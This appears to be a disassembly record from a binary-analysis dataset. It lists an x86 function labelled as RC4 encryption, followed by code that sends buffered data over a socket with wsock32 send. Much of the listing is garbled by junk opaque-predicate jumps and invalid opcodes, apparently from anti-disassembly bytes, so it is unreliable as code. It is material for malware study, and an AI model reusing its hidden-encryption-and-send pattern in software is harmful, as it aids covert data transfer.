Function at 0x401922
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push eax
push ebx
push ecx
push edx
push edi
push esi
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.00401d0f
push 4
lea eax, [ebp - 0x404]
push eax
call fcn.00401d0f
jl 0x401955
jge 0x401955
test eax, 0x8b10758b
jge 0x401963
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x40198f
jo 0x401967
add esi, dword [ecx + 1]
jno 0x401967
inc esi
mov al, byte [ebx + edi]
xor byte [esi], al
jp 0x401972
jnp 0x401972
popal
adc al, 0x46
inc esi
inc ebx
dec ecx
cmp ebx, dword [ebp + 0xc]
jne 0x401988
jge 0x401980
jl 0x401980
add al, 0x33
invalid
xor ebx, ebx
jb 0x401988
jae 0x401988
lcall 0x6c03, 0x79057816
js 0x40198f
jns 0x40198f
insb byte es:[edi], dx
das
lodsb al, byte [esi]
cmp ecx, 0
jg 0x401962
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x40199e
xor eax, eax
jb 0x4019b6
jae 0x4019b6
mul dword [esi - 2]
mov edi, dword [ebp + 8]
je 0x4019bf
jne 0x4019bf
iretd
xor ebx, ebx
jbe 0x4019c6
ja 0x4019c6
invalid
mov esi, dword [ebp + 0xc]
jl 0x4019cf
jge 0x4019cf
test al, 0x74
jmp 0x4019e4
inc bl
je 0x4019e1
jne 0x4019e1
xor dh, byte [ecx + ebp + 0x71db744e]
add al, 0x70
add al, byte [edx + 8]
dec esi
je 0x4019bf
jno 0x4019ea
jo 0x4019ea
inc edx
or byte [esi], dh
mov dl, byte [ecx + ebp - 0x400]
mov dl, byte ss:[ecx + ebp - 0x400]
jnp 0x4019f7
jp 0x4019f7
jbe 0x4019fa
add al, byte [ebx + edi]
add al, 0x3b
add al, dl
jnp 0x401a01
jp 0x401a01
and esi, dword [esi]
mov dh, byte [eax + ebp - 0x400]
mov dh, byte ss:[eax + ebp - 0x400]
jp 0x401a10
jnp 0x401a10
fisttp qword [ebx + 0x1e]
mov byte ss:[ecx + ebp - 0x400], dh
jl 0x401a1f
jge 0x401a1f
retf 0xfbd
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x4019d8
sub byte [eax], al
cld
invalid
jns 0x401a31
js 0x401a31
out dx, eax
pushfd
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
js 0x401a3f
jns 0x401a3f
mov eax, dword [0x757f7426]
add esi, dword [ecx + eax + 0x7f]
je 0x401ac0
jne 0x401a46
je 0x401a46
jg 0x401a7a
xor eax, eax
xor edx, edx
sal byte [ebx], 0xd2
xor ecx, ecx
jle 0x401a52
jg 0x401a52
push es
arpl word [ebx], si
fstp xword [edx + 3]
xor ebx, ebx
jp 0x401a59
jnp 0x401a59
mov al, byte [0x8a36c3fe]
xchg esp, eax
sub eax, dword [eax]
cld
invalid
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
jne 0x401a68
je 0x401a68
xchg byte [edx], al
ret 0x477
add al, dl
ja 0x401a70
jbe 0x401a70
jbe 0x401a22
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
js 0x401a87
mov word [ebx], gs
add ah, bh
invalid
jns 0x401a87
cwde
pop es
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
jl 0x401a98
jge 0x401a98
test cl, dh
jns 0x401acf
mov cl, byte ss:[ecx + ebp - 0x400]
mov cl, byte [ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x401a54
xor eax, eax
jp 0x401aad
jnp 0x401aad
popfd
lea edi, [ebp - 0x400]
jb 0x401ab8
jae 0x401ab8
mov bh, byte [ecx + 0x40]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
jno 0x401ac5
jo 0x401ac5
sbb eax, 0x8b10758b
jge 0x401ad3
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
jns 0x401ad5
add eax, 0xaf8a0378
js 0x401ad5
mov ch, byte [edi - 0x1424ccd5]
scasd eax, dword es:[edi]
sub esi, dword [ebx]
fucomi st(3)
xor ebx, ebx
jmp 0x401b08
das
mov al, byte [ebx + edi]
jge 0x401ae2
jl 0x401ae2
sar dword [ebx + 0x30], 6
xor byte [esi], al
jae 0x401aeb
jb 0x401aeb
ror byte [ebp + ebp*8 + 0x7a057b46], 1
add edi, dword [ebx - 0x34]
inc esi
jnp 0x401af3
jp 0x401af3
jnp 0x401abe
pushal
inc ebx
dec ecx
jge 0x401afb
jl 0x401afb
inc eax
ja 0x401b37
cmp ebx, dword [ebp + 0xc]
jne 0x401b08
pop ebp
or al, 0x75
or byte [edx + 4], bh
jp 0x401b06
jnp 0x401b06
fild dword [edx - 0x67c24cd]
add byte [edi - 0x34], bh
xor ebx, ebx
cmp ecx, 0
jg 0x401ad9
jbe 0x401b13
ja 0x401b13
test bh, bl
ja 0x401b18
jbe 0x401b18
ja 0x401b77
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x10
or ch, byte [edx - 1]
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x401b8b
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.00401cd5
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x401b91
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x401b91
or al, ch
push ebx
or eax, dword [eax]
add byte [ebp + 0x29107ec0], al
inc ebp
adc byte [ebx], al
lock dec dword [ebp - 4]
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x401b91
cmp dword [ebp + 0x10], 0
jne 0x401b47
cmp dword [ebp + 0x14], 0
je 0x401b9f
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10